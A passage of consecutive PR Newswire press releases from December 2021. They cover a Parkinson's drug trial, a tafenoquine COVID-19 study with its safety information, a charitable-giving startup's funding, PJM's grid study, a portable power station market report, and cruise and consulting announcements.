designed to determine the efficacy, safety, and tolerability of P2B001 compared to its individual components and to a calibration arm of pramipexole ER in people with early Parkinson's disease. It was conducted at 70 centers in the US, Europe, and Canada. A total of 544 participants were randomized to one of four treatment arms: P2B001, a once daily ER combination product (comprised of pramipexole 0.6 mg and rasagiline 0.75 mg); pramipexole ER capsule 0.6 mg once daily; rasagiline ER capsule 0.75 mg once daily; and the currently marketed product pramipexole ER capsules titrated to an optimal dose for each individual patient (1.5 to 4.5 mg). The primary endpoint was the change in total Unified Parkinson's Disease Rating Scale (UPDRS, defined as the sum of parts II and III) for P2B001 as compared to each of its individual components over 12 weeks. Secondary endpoints included a comparison of P2B001 with the calibration arm (currently marketed pramipexole ER) with regard to changes in the Epworth Sleepiness Scale (ESS) score, as well as comparison of P2B001 to its individual components in the motor (Part III) and activities of daily living (Part II) components of the UPDRS score, PDQ-39 ADL subscore, and PDQ-39 total score. For more information, refer to ClinicalTrials.gov Identifier: NCT03329508. About Pharma Two B Pharma Two B is a clinical-stage pharmaceutical company that is developing differentiated and value-added products, based on reformulation and combinations of previously approved orally-administered drugs for neurological indications. The company aims to improve efficacy, safety and delivery profiles and address unmet medical needs while minimizing timelines to FDA approval via the 505(b)(2) pathway. The company's lead product P2B001 is being investigated as a treatment for early-stage Parkinson's disease. Pharma Two B is led by a highly experienced team, supported by prominent scientific and clinical key opinion leaders, and backed by a dedicated group of investors. For more information, please visit: www.pharma2b.com. Forward Looking Statements Some of the statements made herein constitute forward-looking statements. These statements relate to future financial and other performance or anticipated plans and are identified by words such as" "will," "expect," "could," "if," "expected"," "anticipate"," look forward", "believe" "potential," "propose" and "continue" or negative variants of such terms. These and similar forward-looking statements discuss the company's future expectations and plans. The company operates in a very competitive and rapidly changing environment. New risks emerge from time to time. Given these risks and uncertainties, the company cautions against placing undue reliance on these forward-looking statements. These statements are only estimates of future performance. Actual performance or events may not meet such expectations or estimates and may, in fact, differ materially. Although the company believes that the expectations reflected in the forward-looking statements made herein are reasonable, the company cannot and does not guarantee future results, levels of activity, performance or achievements. Moreover, the company does not assume any responsibility for the accuracy and completeness of such forward-looking statements in the future. The company does not plan and, subject to applicable law, undertakes no obligation to update any of the forward-looking statements made herein after the date hereof in order to conform such statements to actual results. Reference: 1 Olanow, CW et al., A Randomized Trial of a Low-Dose Rasagiline and Pramipexole Combination (P2B001) in Early Parkinson's Disease. Mov Disord. 2017;32(5):783-789. doi: 10.1002/mds.26941. Contact: Irit Aish Vice President, Commercial and Business Development [email protected] U.S. investor contact: Bob Yedid LifeSci Advisors LLC 646-597-6989 [email protected] Media contact: Tsipi Haitovsky Global Media Liaison +972-52-598-9892 [email protected] SOURCE Pharma Two B Ltd. PHILADELPHIA, Dec. 15, 2021 /PRNewswire/ -- Philanthropi, the company revolutionizing charitable giving by democratizing philanthropy through its "giving-as-a-service" platform, announced today that it raised $4M in funding from lead investor Amex Ventures, with participation from Live Oak Ventures and Darco Capital. This funding will help Philanthropi advance its mission to let every individual create their own personal, charitable foundation. Philanthropi uses bank technology to give any individual access to charitable giving through tax-advantaged, donor-advised funds that are typically reserved for high net-worth individuals. At the same time, the company's technology also gives charities easy, low-cost access to individual donors. In 2020, 69% of charitable donations in the U.S. came from individuals1. Reaching and engaging these individuals continues to be a costly expense for charities. Campaigns for charitable donations are also often broad and impersonal and do not take into account the personal interests of the targeted giver. "We're focused on fundamental improvements to the giving ecosystem by making it easier to connect charities and everyday philanthropists based on the individual's interests. Philanthropi offers individual givers the option to customize and select exactly where their dollars go, receive tax benefits for donations, and create individual or family foundations to track personal gifts over time," said Philanthropi CEO and Founder Keith Leapheart. "Philanthropi represents the paradigm shift for charitable giving that donors have been seeking. They enable intentionality of choice based on a donor's interests, regardless of net worth. They also help individuals make giving a part of their daily lives, rather than a series of infrequent occurrences. We look forward to supporting the company as it grows," said Amex Ventures Global Head and Founder, Harshul Sanghi. Amex Ventures makes investments in companies that are driving forward the future of commerce, lifestyle, and financial services. Since its start in 2011, Amex Ventures has invested in several startups that are now industry pioneers. Live Oak Bank, Philanthropi partner, client, and affiliate of Live Oak Ventures, reinforces the need to build sustainable charitable infrastructure across local communities especially those in Wilmington, NC. Since launching Philanthropi's platform in December, more than 70 percent of funds granted have directly supported charities in North Carolina. "Live Oak is proud to partner with Philanthropi to offer world class fintech solutions to our employees. We share a digitally focused vision to innovate and we seek to empower non-profit organizations with a simpler way to connect, engage, and empower the everyday giver. Philanthropi is leading the way to ensure community nonprofits have access to a next generation donor engagement giving platform," said Live Oak President Huntley Garriott. About Philanthropi Founded in Philadelphia in 2018, Philanthropi is revolutionizing charitable giving by democratizing philanthropy through its giving-as-a-service platform, allowing everyday donors to seamlessly support their favorite nonprofit organizations. 1 Per the National Philanthropic Trust . SOURCE Philanthropi VALLEY FORGE, Pa., Dec. 15, 2021 /PRNewswire/ -- PJM Interconnection, grid operator for 65 million people across 13 states and the District of Columbia, today released the initial results of a multiphase, multiyear effort to study the potential impacts of an evolving resource mix, including the accelerating integration of renewable resources. The "Energy Transition in PJM: Frameworks for Analysis" paper reflects PJM's five-year strategy, which is built on three pillars enabling state and federal decarbonization policies, planning for the grid of the future, and fostering innovation. This "living study" will help PJM identify gaps and opportunities in the current market construct and provide insights into the future of market design, transmission planning and reliable system operations. "As the generation mix continues to rapidly evolve in PJM, we must be ready to maintain the reliable, cost-effective delivery of electricity at all times," said PJM President and CEO Manu Asthana. "This study represents an important step in understanding how PJM can best work to facilitate the energy transition and make the grid of the future possible." In the study, PJM synthesized the diverse set of state policies within its footprint into three scenarios in which an increasing amount of energy is served by renewable generation on an annual basis (10%, 22% and 50%), up to 70% carbon-free generation when combined with nuclear generation. Currently, renewables represent approximately 6% of the annual energy, a total of over 40% carbon-free when combined with nuclear's contribution to the energy mix in 2020. The study's initial findings suggest five key focus areas for PJM's stakeholder community and delineate the subsequent phases of the study: Correctly calculating the capacity contribution of generators is essential: A system with increased variable resources will require new approaches to adequately assess the reliability value of each resource and the system overall. A system with increased variable resources will require new approaches to adequately assess the reliability value of each resource and the system overall. Flexibility becomes increasingly important with growing uncertainty: The study reaffirmed the need for operational flexibility to address the uncertainty of variable resources. Findings include 50% steeper net-load ramping periods, frequent dispatch of generators to their economic minimum, and lower capacity factors for thermal resources. The study reaffirmed the need for operational flexibility to address the uncertainty of variable resources. Findings include 50% steeper net-load ramping periods, frequent dispatch of generators to their economic minimum, and lower capacity factors for thermal resources. Thermal generators provide essential reliability services today and an adequate supply will be needed until a substitute is deployed at scale: PJM and stakeholders must ensure that the market structure provides the right incentives to maintain these reliability services. PJM and stakeholders must ensure that the market structure provides the right incentives to maintain these reliability services. Regional markets facilitate a reliable and cost-effective energy transition: The economies of scale, geographical diversity and robust transmission system of PJM Interconnection can serve to facilitate the reliable and cost-effective integration of renewable resources. Expected increases in congestion, renewable curtailments and interchange with other regions suggest opportunities for strategic regional transmission expansion as well as storage and grid-enhancing technologies. The economies of scale, geographical diversity and robust transmission system of PJM Interconnection can serve to facilitate the reliable and cost-effective integration of renewable resources. Expected increases in congestion, renewable curtailments and interchange with other regions suggest opportunities for strategic regional transmission expansion as well as storage and grid-enhancing technologies. Reliability standards must evolve: As the penetration of distributed energy resources (DER) increases on the grid, further blurring the conventional boundaries between transmission and distribution systems, it will be critical to establish appropriate standards for performance, cybersecurity and reliability for DER. As PJM's markets, operations and transmission planning functions evolve to facilitate renewable resource integration, so should reliability standards across interdependent infrastructure such as gas, water and telecommunications. This exploration of renewable integration is one of multiple, concurrent initiatives in which PJM is serving as an independent authority for data and analysis to help facilitate decarbonization and build the grid of the future. It includes PJM's ongoing work with stakeholders in 2021 to: Identify reliability challenges (Reliability in PJM: Today and Tomorrow white paper) Address resource adequacy, interconnection and planning process reforms through the stakeholder process In collaboration with stakeholders, develop landmark proposals to the Federal Energy Regulatory Commission on the planning of the future grid and the regulation of distributed energy resources Work with coastal states on potential regional solutions to offshore wind buildout (Offshore Wind Transmission Phase 1 study) All of this work will continue in 2022. PJM Interconnection, founded in 1927, ensures the reliability of the high-voltage electric power system serving 65 million people in all or parts of Delaware, Illinois, Indiana, Kentucky, Maryland, Michigan, New Jersey, North Carolina, Ohio, Pennsylvania, Tennessee, Virginia, West Virginia and the District of Columbia. PJM coordinates and directs the operation of the region's transmission grid, which includes over 85,103 miles of transmission lines; administers a competitive wholesale electricity market; and plans regional transmission expansion improvements to maintain grid reliability and relieve congestion. PJM's regional grid and market operations produce annual savings of $3.2 billion to $4 billion. For the latest news about PJM, visit PJM Inside Lines at insidelines.pjm.com. SOURCE PJM Interconnection "At PopShop, retailers can sell anything from food to jewelry to t-shirts to alcohol," Dickson-Akpoghene said. Tweet this A new middle ground between e-commerce and brick-and-mortar stores, the PopShop will drive brand discovery in local markets. It allows small business owners to determine if a location is a good fit for their brand, while understanding in real-time who the right customer is. The PopShops will be utilized at unused spaces in hotels, convention centers, airports, and malls. It will also serve as an advertising platform for all things local, and act as a resource for local information and announcements. The machine also has the ability to sell tickets to local attractions. In a recent interview with The Breakfast Club, PopCom Founder Dawn Dickson-Akpoghene spoke about the new vending machines, the idea's ten-year gestation, and now its manifestation as a dynamic and diverse retail force. "Now, anybody can sell anything in these machines," Dickson-Akpoghene said. "We have 20 customers selling anything from food to jewelry to t-shirts to alcohol." Brew and Feed recently launched at Concord Mills in the Charlotte suburb of Concord, North Carolina. Among the products being sold at the PopShop location will be the company's creative tea flavors like lemon creme, cotton candy, lavender lemongrass and mango passion fruit. Brew and Feed will also sell spice blends at the location, which will be marketed seasonally to customers. "We are excited about the energy and innovation that PopCom has in their go to market strategy as well as the potential for further innovation their software can bring with integration with other platforms," said Brew and Feed's Robert Moreland. Next, Teas with Meaning will begin its PopShop at The Metreon in San Francisco, California. Each month, the company will offer a new tea box to customers, which highlights new products from the brand and other minority owned businesses. Each box will feature two small loose leaf teas, biodegradable brew bags and a wooden teaspoon. "With this PopShop I hope to accomplish increased brand awareness and sales for Teas With Meaning, additional insight for our market research, and to see Popcom continue to blossom for small businesses," said Kamilah Mitchell of Teas with Meaning. In addition, PopShop Local Columbus will launch at the Polaris Mall with The Brow Dr. and Flat Out Heels, both of which have Ohio based founders. Another PopShop Local Columbus was unveiled at the Fairfield Inn Hotel, containing Ohio-based brands Black Owned and Red Velvet. Lastly, Flat Out Heels has launched at a PopShop location in Hawaii. ABOUT POPCOM: PopCom is an automated retail technology company that builds software to revolutionize automated retail. PopCom is at the forefront of the evolving retail industry with an autonomous retail technology platform that allows retailers to engage and understand customers, sell more products, and learn from big data. Contact: Sade Miller 323-834-5586 [email protected] SOURCE PopCom Total Pages: 120 120 Companies: 10+ including ChargeTech, Duracell Inc., EcoFlow Inc., Genius Media Group Inc., Goal Zero LLC, Jackery Inc., Li power Shenzhen technology Co. Ltd., LionEnergy LLC, Midland Radio Corp., and Scott Electric Corp. among others. 10+ including ChargeTech, Duracell Inc., EcoFlow Inc., Genius Media Group Inc., Goal Zero LLC, Jackery Inc., Li power technology Co. Ltd., LionEnergy LLC, Midland Radio Corp., and Scott Electric Corp. among others. Coverage: Key drivers, trends, and challenges; Product insights & news; Value chain analysis; Parent market analysis; Vendor landscape; COVID impact & recovery analysis Key drivers, trends, and challenges; Product insights & news; Value chain analysis; Parent market analysis; Vendor landscape; COVID impact & recovery analysis Segments: Application (off-grid power, emergency power, and automotive) Application (off-grid power, emergency power, and automotive) Geographies: APAC, North America , Europe , MEA, and South America Didn't Find What You Were Looking For? Customize Report- Don't miss out on the opportunity to speak to our analyst and know more insights about this market report. Our analysts can help you customize this report according to your business needs. Our analysts and industry experts will work directly with you to understand your requirements and provide you with customized data in a short time. We offer USD 1,000 worth of FREE customization at the time of purchase. Speak to our Analyst now! According to the recent market study by Technavio, the Portable power station Market Share is expected to increase by USD 4.03 billion from 2020 to 2025, with an accelerated CAGR of 41.54%. The report provides a detailed analysis of drivers & opportunities, top winning strategies, competitive scenario, future market trends, market size & estimations, and major investment pockets. APAC will register the highest growth rate of 36% among the other regions. China and Australia are the key markets for portable power stations in APAC. The market growth in APAC will be faster than the growth of the market in other regions. Download FREE Sample for more additional information about the key countries in APAC Vendor Insights- The portable power station market is fragmented, and the vendors are deploying various growth strategies such as engaging in mergers and acquisitions and introducing new products to compete in the market. ChargeTech The company offers portable power stations products, charging carts UV-C, and antimicrobial portable power supply. Duracell Inc. - The company is engaged in manufacturing and marketing a wide range of batteries and smart power systems such as power banks, alkaline batteries, rechargeables and chargers, specialty batteries, coin/button batteries, and hearing aid batteries. EcoFlow Inc. The company offers portable power stations, solar panels, bundles, and power banks. Genius Media Group Inc. The company offers inverters, solar charge controllers, portable power stations, and car power inverters. Goal Zero LLC The company offers power station products, solar lights, accessories, and solar power generation kits. Find additional highlights on the vendors and their product offerings, Download Free Sample Report Regional Market Outlook The portable power station market share growth in APAC will be significant during the forecast period. China and India are the key markets for portable power stations in APAC. Market growth in APAC will be faster than the growth of the market in other regions. The aging electrical grid infrastructure will facilitate the portable power station market growth in APAC during the forecast period. Download our FREE sample report for more key highlights on the regional market share of most of the above-mentioned countries. Latest Drivers & Trends Driving the Market- Portable Power Station Market Driver: Growing demand for uninterrupted and reliable power during power outages: The rise in global warming has led to a drastic rise in the number of unpredictable natural disasters over recent years. For instance, between 2018 and 2019, the US witnessed several catastrophes, including hurricanes Michael and Florence. Similarly, super typhoons such as Yutu and Mangkhut created floods that caused significant damages in countries such as Japan, Nigeria, and India. The occurrence of such natural disasters is increasing the number of grid failures and power outages. This has increased the demand for power accessories such as fuel tanks, load banks, cables, and transformers, which is driving the growth of the market. Portable Power Station Market Challenge: Longer charging times of solar-powered portable power stations: Solar-powered portable power station models require longer hours to charge. However, they do not provide enough power when compared with portable power generators. They are also expensive than portable power generators, and extreme weather conditions such as heavy rainfall and storms reduce the operating capabilities of solar-powered portable power stations. This is driving many end-users to prefer portable generators over solar-powered portable power stations. All these factors might reduce the growth potential in the market. Find additional information about various other market Drivers & Trends mentioned in our FREE sample report . Here are Some Similar Topics- Global Thermal Energy Storage Market Global thermal energy storage market is analyzed by technology (molten salt energy storage and phase change material) and geography (Europe, North America, APAC, MEA, and South America). Download Exclusive Free Sample Report Global Solar PV Mounting Systems Market Global solar PV mounting systems market is analyzed by technology (fixed and tracking) and geography (APAC, Europe, North America, South America, and MEA). Download Exclusive Free Sample Report Portable Power Station Market Scope Report Coverage Details Page number 120 Base year 2020 Forecast period 2021-2025 Growth momentum & CAGR Accelerate at a CAGR of 41.54% Market growth 2021-2025 USD 4.03 billion Market structure Fragmented YoY growth (%) 26.10 Regional analysis APAC, North America, Europe, MEA, and South America Performing market contribution APAC at 36% Key consumer countries US, China, Russian Federation, Australia, and Saudi Arabia Competitive landscape Leading companies, competitive strategies, consumer engagement scope Companies profiled ChargeTech, Duracell Inc., EcoFlow Inc., Genius Media Group Inc., Goal Zero LLC, Jackery Inc., Li power Shenzhen technology Co. Ltd., LionEnergy LLC, Midland Radio Corp., and Scott Electric Corp. Market Dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and future consumer dynamics, market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized. About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. Contact Technavio Research Jesse Maida Media & Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: [email protected] Website: www.technavio.com/ SOURCE Technavio WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- Preliminary results of a phase II study of ARAKODA (tafenoquine) for treatment of mild-moderate COVID-19 disease demonstrate a numerical reduction in the proportion of patients not recovered on Day 14, and that the incidence of drug-related adverse events was low (8.4 percent) and mild, according to 60 Degrees Pharmaceuticals, LLC (60P), a pharmaceutical company focused on developing new medicines for infectious diseases. 60P Pharmaceuticals ARAKODA is an anti-malarial indicated for the prophylaxis of malaria in patients aged 18 years of age and older. It has not been approved by the U.S. Food and Drug Administration (FDA) for use in COVID-19 disease, and safety and effectiveness of tafenoquine in this population have not yet been demonstrated. "In reviewing the data from this study, we are pleased and encouwraged to see, as expected, a therapeutic signal associated with tafenoquine," said Geoffrey Dow, Chief Executive Officer of 60P. "As a next step toward development of a new COVID-19 treatment option, 60P will conduct additional studies to confirm these findings. We are currently seeking qualified financial and commercial partners to engage with us in this exciting effort." About the ARAKODA (tafenoquine) COVID-19 Study The study was randomized, prospective, double-blind, and placebo-controlled, designed to test the hypothesis that 8 x 100 mg tablets of ARAKODA, administered within 168 hours of symptom onset as a 200 mg dose once per day Days 1, 2, 3 & 10, and in accordance with FDA prescribing information for malaria prophylaxis, could increase the proportion of COVID-19 patients clinically recovered on Day 14 from 70 percent to 85 percent (i.e. a reduction in the proportion of unrecovered patients of 50 percent). Clinical recovery was defined as cough being mild or absent, respiratory rate < 24 breaths per minute, and absence of fever and shortness of breath. Secondary and exploratory endpoints included adverse events, incidence of hospitalization and medical follow-up visits, proportion clinically recovered at Day 28, patient-reported COVID-19 disease symptoms at Day 14, viral load, cytokines and antibody levels. Adult volunteers were randomized (~1:1) to receive tafenoquine or placebo and the study's inclusion/exclusions allowed participation of previously vaccinated individuals. The original design envisaged completion of the study by n=250 subjects to achieve adequate power. After n=86 patients were randomized, a protocol-mandated interim analysis was conducted and a Drug Safety Monitoring Board after reviewing efficacy and adverse event data, recommended completion of the study without modification. For strategic reasons related to a rapidly changing pandemic and competitive environment, 60P elected to terminate the study early and unblind the data from n=86 patients. Early unblinding made the study underpowered to achieve its primary statistical endpoint. The study found ARAKODA numerically decreased the proportion of patients not recovered by 27 percent in the intent to treat population, and by 47 percent in the per protocol population. Because the study was terminated early, it is underpowered to show statistical significance for the primary endpoint. There were drug-related adverse events in 2.4 percent of placebo subjects and 8.7 percent of tafenoquine patients, all of which were mild. There were three hospitalizations for COVID-19 pneumonia, two in the placebo group and one in the tafenoquine group. About ARAKODA Tafenoquine was discovered by Walter Reed Army Institute of Research and the current study was funded by the United States Army Medical & Materiel Development Activity [USAMMDA]. Tafenoquine was approved for malaria prophylaxis in 2018 in the United States as ARAKODA (tafenoquine) and in Australia as KODATEF. Both were commercially launched in 2019 and are currently distributed through pharmaceutical wholesaler networks in each respective country. They are available at retail pharmacies as a prescription-only malaria prevention drug. It has been shown that tafenoquine inhibits SARS-CoV-2 replication in monkey kidney and human epithelial cells, and pharmacokinetic simulations suggest lung levels at the FDA-approved dose for malaria prevention may exceed the EC90 of the drug. The antiviral target is not definitively known but is suspected to be the main viral protease. These data provided the rationale for conducting the study of ARAKODA in mild-moderate COVID-19 patients, for which financial support was provided by the Department of Defense's (DOD) Joint Program Executive Office for Chemical, Biological, Radiological and Nuclear Defense (JPEO-CBRND), with the goal of fielding a safe, effective treatment against COVID-19 by repurposing the FDA-approved drug. According to the Centers for Disease Control and Prevention, the long terminal half-life of tafenoquine, which is approximately 16 days, may offer potential advantages in less-frequent dosing for prophylaxis for malaria. ARAKODA is not suitable for everyone and patients and prescribers should review the Important Safety Information below. ARAKODA (tafenoquine) Important Safety Information ARAKODA is an antimalarial indicated for the prophylaxis of malaria in patients aged 18 years of age and older. Contraindications ARAKODA should not be administered to: Glucose-6-phosphate dehydrogenase (G6PD) deficiency or unknown G6PD status Breastfeeding by a lactating woman when the infant is found to be G6PD deficient or if G6PD status is unknown Patients with a history of psychotic disorders or current psychotic symptoms Known hypersensitivity reactions to tafenoquine other 8-aminoquinolines, or any component of ARAKODA Warnings and Precautions Hemolytic Anemia: G6PD testing must be performed before prescribing ARAKODA due to the risk of hemolytic anemia. Monitor patients for signs or symptoms of hemolysis. G6PD testing must be performed before prescribing due to the risk of hemolytic anemia. Monitor patients for signs or symptoms of hemolysis. G6PD Deficiency in Pregnancy or Lactation: ARAKODA may cause fetal harm when administered to a pregnant woman with a G6PD-deficient fetus. ARAKODA is not recommended during pregnancy. A G6PD-deficient infant may be at risk for hemolytic anemia from exposure to ARAKODA through breast milk. Check infant's G6PD status before breastfeeding begins. may cause fetal harm when administered to a pregnant woman with a G6PD-deficient fetus. is not recommended during pregnancy. A G6PD-deficient infant may be at risk for hemolytic anemia from exposure to through breast milk. Check infant's G6PD status before breastfeeding begins. Methemoglobinemia: Asymptomatic elevations in blood methemoglobin have been observed. Initiate appropriate therapy if signs or symptoms of methemoglobinemia occur. Asymptomatic elevations in blood methemoglobin have been observed. Initiate appropriate therapy if signs or symptoms of methemoglobinemia occur. Psychiatric Effects: Serious psychotic adverse reactions have been observed in patients with a history of psychosis or schizophrenia, at doses different from the approved dose. If psychotic symptoms (hallucinations, delusions, or grossly disorganized thinking or behavior) occur, consider discontinuation of ARAKODA therapy and evaluation by a mental health professional as soon as possible. Serious psychotic adverse reactions have been observed in patients with a history of psychosis or schizophrenia, at doses different from the approved dose. If psychotic symptoms (hallucinations, delusions, or grossly disorganized thinking or behavior) occur, consider discontinuation of therapy and evaluation by a mental health professional as soon as possible. Hypersensitivity Reactions: Serious hypersensitivity reactions have been observed with administration of ARAKODA . If hypersensitivity reactions occur, institute appropriate therapy. Serious hypersensitivity reactions have been observed with administration of . If hypersensitivity reactions occur, institute appropriate therapy. Delayed Adverse Reactions: Due to the long half-life of ARAKODA, (approximately 17 days), psychiatric effects, hemolytic anemia, methemoglobinemia, and hypersensitivity reactions may be delayed in onset and/or duration. Adverse Reactions The most common adverse reactions (incidence 1 percent) were: headache, dizziness, back pain, diarrhea, nausea, vomiting, increased alanine aminotransferase (ALT), motion sickness, insomnia, depression, abnormal dreams, and anxiety. Drug Interactions Avoid co-administration with drugs that are substrates of organic cation transporter-2 (OCT2) or multidrug and toxin extrusion (MATE) transporters. Use in Specific Populations Lactation: Advise women not to breastfeed a G6PD-deficient infant or infant with unknown G6PD status during treatment and for 3 months after the last dose of ARAKODA. To report SUSPECTED ADVERSE REACTIONS, contact 60 Degrees Pharmaceuticals at 1-888-834-0225 or FDA at 1-800-FDA-1088 or www.fda.gov/medwatch. ARAKODA full prescribing information is here. About 60 Degrees Pharmaceuticals 60 Degrees Pharmaceuticals (60P), founded in 2010, focuses on developing new medicines for infectious diseases. 60P's mission is supported through in-kind funding from the U.S. Department of Defense. The company also collaborates with prominent research organizations in the U.S. and Australia. 60P is headquartered in Washington D.C., with a subsidiary in Australia. Further information is available on the company's website, www.60degreespharma.com. Media Contact Geoffrey Dow, CEO of 60P 202-327-5422 [email protected] SOURCE 60P Pharmaceuticals Available on all cruise and cruisetour bookings, the Best. Sale. Ever offers guests a huge value and savings to celebrate incredible travel experiences to sought-after destinations like the Caribbean, Alaska, Europe, the Mexican Riviera and more. Details can be found at www.princess.com . The five Princess perks offered in the Best. Sale. Ever., a value of at least $695 on a 7-day cruise include: Drinks: The Premier Beverage Package is applied to guests who are 21 years or older and includes hand-crafted cocktails, wine, beer, fountain soda, specialty coffees and more. Guests who are under 21 will receive the Premier Coffee & Soda Package, which includes a variety of non-alcoholic beverages. is applied to guests who are 21 years or older and includes hand-crafted cocktails, wine, beer, fountain soda, specialty coffees and more. Guests who are under 21 will receive the Premier Coffee & Soda Package, which includes a variety of non-alcoholic beverages. Unlimited Wi-Fi : MedallionNet Wi-Fi, the best internet at sea, offers land-like connectivity for guests to make video calls from anywhere on the ship, share their vacation experiences in real time with friends and family on social media platforms, and stream sports, movies, music and videos. Unlimited MedallionNet Wi-Fi will automatically apply when guests sign on to activate their device and applies to all guests in stateroom (up to four devices). : MedallionNet Wi-Fi, the best internet at sea, offers land-like connectivity for guests to make video calls from anywhere on the ship, share their vacation experiences in real time with friends and family on social media platforms, and stream sports, movies, music and videos. Unlimited MedallionNet Wi-Fi will automatically apply when guests sign on to activate their device and applies to all guests in stateroom (up to four devices). Crew Appreciation: To ensure the crew are taken care of, too, Princess will cover crew appreciation on guests' behalf. To ensure the crew are taken care of, too, Princess will cover crew appreciation on guests' behalf. Stateroom Location Upgrade: Guests can rest easy knowing they can choose their preferred location within their stateroom category. Offered on a first-come, first-serve basis, upgrades are subject to capacity and availability and apply in like-to-like stateroom types (interior to interior, oceanview to oceanview, balcony to balcony and mini-suite to mini-suite). Not offered in the suite category. Cruises 66 days or longer are not eligible for this offer. Guests can rest easy knowing they can choose their preferred location within their stateroom category. Offered on a first-come, first-serve basis, upgrades are subject to capacity and availability and apply in like-to-like stateroom types (interior to interior, oceanview to oceanview, balcony to balcony and mini-suite to mini-suite). Not offered in the suite category. Cruises 66 days or longer are not eligible for this offer. Specialty Dining: Dine at one of Princess' award-winning restaurants, where every meal feels like a celebration. Valid for all guests in the stateroom, vouchers will be delivered upon embarkation and are not redeemable for cash. Guests must dine at the same time in the same reserved seating. The Best. Sale. Ever. cruise sale starts at 12am PT on December 15, 2021 and runs through 11:59pm PT on March 2, 2022.It is available to residents of the 50 United States, Canada, Puerto Rico, Mexico, Bermuda and the District of Columbia. More details and exclusions can be found at www.princess.com. For the latest Princess COVID-19 health protocols, please visit https://www.princess.com/plan/cruise-with-confidence/cruise-health/covid-19-guest-protocols/. Additional information about Princess Cruises is available through a professional travel advisor, by calling 1-800-PRINCESS (1-800-774-6237), or by visiting the company's website at http://www.princess.com/. About Princess Cruises : One of the best-known names in cruising, Princess Cruises is the world's leading international premium cruise line and tour company operating a fleet of 14 modern cruise ships, carrying two million guests each year to 380 destinations around the globe, including the Caribbean, Alaska, Panama Canal, Mexican Riviera, Europe, South America, Australia/New Zealand, the South Pacific, Hawaii, Asia, Canada/New England, Antarctica, and World Cruises. A team of professional destination experts have curated 170 itineraries, ranging in length from three to 111 days and Princess Cruises is continuously recognized as "Best Cruise Line for Itineraries." In 2017 Princess Cruises, with parent company Carnival Corporation, introduced MedallionClass Vacations enabled by the Medallion device, the vacation industry's most advanced wearable device, provided free to each guest sailing on a MedallionClass ship. The award-winning innovation offers the fastest way to an effortless personalized vacation giving guests more time to do the things they love most. The company is part of Carnival Corporation & plc (NYSE/LSE: CCL; NYSE:CUK). In line with the latest advice from health officials about COVID-19, Princess Cruises is currently enhancing health and safety protocols with input from medical experts and government bodies and assessing how they may impact future itineraries. Actual offerings may vary from what is displayed in marketing materials. Click on the following links to stay updated on current Cruise Updates and Health & Safety protocols. SOURCE Princess Cruises MENLO PARK, Calif., Dec. 15, 2021 /PRNewswire/ -- Matt Taylor, a managing director with global consulting firm Protiviti, has been named to Consulting magazine's 2021 'Top 25 Consultants' list. The award recognizes influential consultants at senior levels who are making a significant impact on their clients, their firms and the consulting profession. Taylor is recognized with an Excellence in Client Service award. Based in London, Taylor is a leader in Protiviti's U.K. Risk and Compliance practice, helping his clients design and implement sustainable risk management solutions, with a focus on financial crime risk. He typically manages Protiviti teams across multiple continents to provide innovative services that use enabling technologies to successfully deliver large-scale change. "Matt is always in the trenches with his clients and his teams, working out solutions and taking the responsibility to deliver," said Andrew Clinton, Protiviti executive vice president, international operations. "His efforts invariably bring exceptional results for his clients, and he's a constant inspiration to his colleagues. This recognition could not be more deserved." Previous Protiviti Top 25 Consultants honorees include: Matt Moore (2020), Jonathan Wyatt (2019), Mike Brauneis (2018), Brian Christensen (2017), Scott Redfearn (2016), Kimberley Dickerson (2015), Carol Beaumier (2014), James Pajakowski (2013), Jim Armetta (2012), Jim Deloach (2011) and Cory Gunderson (2009). In 2020, Protiviti Senior Managing Director Daniel O'Keefe received Consulting's Lifetime Achievement Award. Protiviti was also recognized recently on Consulting magazine's 'Best Firms to Work For' annual list for the eighth consecutive year. About Protiviti Protiviti (www.protiviti.com) is a global consulting firm that delivers deep expertise, objective insights, a tailored approach and unparalleled collaboration to help leaders confidently face the future. Protiviti and its independent and locally owned Member Firms provide clients with consulting and managed solutions in finance, technology, operations, data, analytics, governance, risk and internal audit through its network of more than 85 offices in over 25 countries. Named to the 2021 Fortune 100 Best Companies to Work For list, Protiviti has served more than 60 percent of Fortune 1000 and 35 percent of Fortune Global 500 companies. The firm also works with smaller, growing companies, including those looking to go public, as well as with government agencies. Protiviti is a wholly owned subsidiary of Robert Half (NYSE: RHI). Founded in 1948, Robert Half is a member of the S&P 500 index. Protiviti is not licensed or registered as a public accounting firm and does not issue opinions on financial statements or offer attestation services. Editor's note: photos available upon request SOURCE Protiviti NEW YORK, Dec. 15, 2021 /PRNewswire/ -- QBE North America is honored to have earned for the second time in a row Insurance Business America's 5-Star Excellence Award for both Professional and Directors and Officers (also called "D&O" or "Management") Liability. To determine 5-Star status, IBA surveyed thousands of brokers within its network. Throughout the research process, carriers were measured on the strength of their relationships with brokers, ability to handle claims, underwriting expertise and most importantly, the strength of the individual products they provide. "Companies today must confront rapidly evolving Professional and Management Liability risks due to a range of factors such as cyberattacks and increased regulatory action," said Danielle Librizzi, Head of Professional Liability within QBE North America's Financial Lines business. "To stay ahead of the changes, we work closely with our broker partners and focus on key industry segments to deliver risk solutions tailored to the unique needs of each customer." Tom Kocaj, Head of Management Liability, Financial Lines, added, "The complexity and pace of change in Professional and Management Liability make expertise and teamwork critical for success. That's why many of our professionals have decades of experience in this space and we have a fully integrated operation across Underwriting, Product Development and Claims. It allows us to spot and respond to emerging risks quickly for our customers. We're excited to have the team's efforts acknowledged by the broker community through Insurance Business America's 5-Star Excellence Awards." QBE North America's Financial Lines business includes Management and Professional Liability, Transactional Liability and Financial Institutions, and is part of QBE's broader Specialty & Commercial business. About QBE QBE North America is a global insurance leader focused on helping customers solve unique risks, so they can focus on what matters most. Part of QBE Insurance Group Limited, QBE North America reported Gross Written Premiums in 2020 of $4.775 billion. QBE Insurance Group's results can be found at qbe.com. Headquartered in Sydney, Australia, QBE 